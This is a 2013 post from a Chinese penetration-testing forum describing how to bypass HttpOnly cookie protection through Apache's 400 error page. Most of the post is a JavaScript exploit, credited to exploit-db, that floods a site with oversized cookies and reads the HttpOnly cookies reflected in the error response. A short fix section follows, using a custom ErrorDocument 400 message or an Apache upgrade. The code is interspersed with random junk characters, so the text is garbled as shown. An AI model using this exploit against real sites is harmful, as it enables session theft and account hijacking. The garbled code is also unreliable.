中国网络渗透测试联盟

标题: Apache HttpOnly Cookie XSS跨站漏洞 [打印本页]

---

作者: admin    时间: 2013-4-19 19:15
标题: Apache HttpOnly Cookie XSS跨站漏洞
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
; e5 d# O, A' A8 Q  Z5 ~

! s1 z5 V' |0 B0 E! Y' ~7 ^6 h// http://www.exploit-db.com/exploits/18442/
/ {( R7 U* _0 k3 ~) Cfunction setCookies (good) {
6 ]2 C1 K: o8 L( V$ ?" D% g* ~// Construct string for cookie value
var str = "";
8 O4 A( b4 U  R- Q" D0 d  N4 D; C/ pfor (var i=0; i< 819; i++) {
str += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
# |2 m3 l8 V; L1 x}
3 q/ Q, X( i- j5 k1 {. u// Set evil cookie
& R9 P+ J. _& d9 N5 M7 [else {
  S7 i: [5 Z2 H7 h& X5 d- k6 @$ @var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
6 C: ]8 ]/ |/ b" T* E* u' k4 W}
}
: |/ o; P# g9 U8 Y4 |1 Ufunction makeRequest() {
# R" _7 [% U6 s* DsetCookies();
3 D/ T9 F3 z8 z  g, I* xfunction parseCookies () {
3 s6 ?8 }* Y1 R; G0 P' Evar cookie_dict = {};
: Y# p# i5 s% K! @. w$ L$ F% h0 i3 A* U// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
, v) [6 `1 ]0 |+ ]// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
% u+ v8 {! y3 x6 \4 ]- g7 K1 kif (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
" q3 P2 F& p8 L, u& `for (var i=0; i<cookies.length; i++) {
var s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
* @" q' S) b& C  G# `9 v  {4 @7 a}
4 s6 y% ?- s2 q* }}
// Unset malicious cookies
setCookies(true);
alert(JSON.stringify(cookie_dict));
}
) R6 K/ B. p, U0 a% {) h}
8 `& T% A3 n! L# O// Make XHR request
) b4 Q  m  b9 c  R+ ]" Fvar xhr = new XMLHttpRequest();
0 m/ ~/ Y1 X1 ]4 S. z( cxhr.onreadystatechange = parseCookies;
7 J% A8 I7 K1 z0 T4 Qxhr.open("GET", "/", true);
xhr.send(null);
}
makeRequest();

! h9 e" S0 X8 B+ S% {. a你就能看见华丽丽的400错误包含着cookie信息。

+ B. t/ |1 ?) N" ~5 I: _下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

8 v5 e$ l! H# I1 _' K修复方案：

Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

In the event of a problem or error, Apachecan be configured to do one of four things,

7 I/ Z' z0 z% L% {& n2 m0 p1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
: r+ S' Q) f" u! _! T6 E2. output acustomized message输出一段信息
, u* q! \9 z- m3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
5 h( B$ ?  w7 v* v& A' A1 Q4. redirect to an external URL to handle theproblem/error转向一个外部URL
6 k5 W) Q' i6 O& `
经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容

Apache配置：

ErrorDocument400 " security test"
' C+ S/ @# H2 D. n3 m
0 p4 o# u& H. ^) K当然，升级apache到最新也可：）。
5 E# ^- S: n- V" L* J2 @. M* U
参考：http://httpd.apache.org/security/vulnerabilities_22.html

# d; W3 `/ U2 w. C# \, I- y: u- c

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2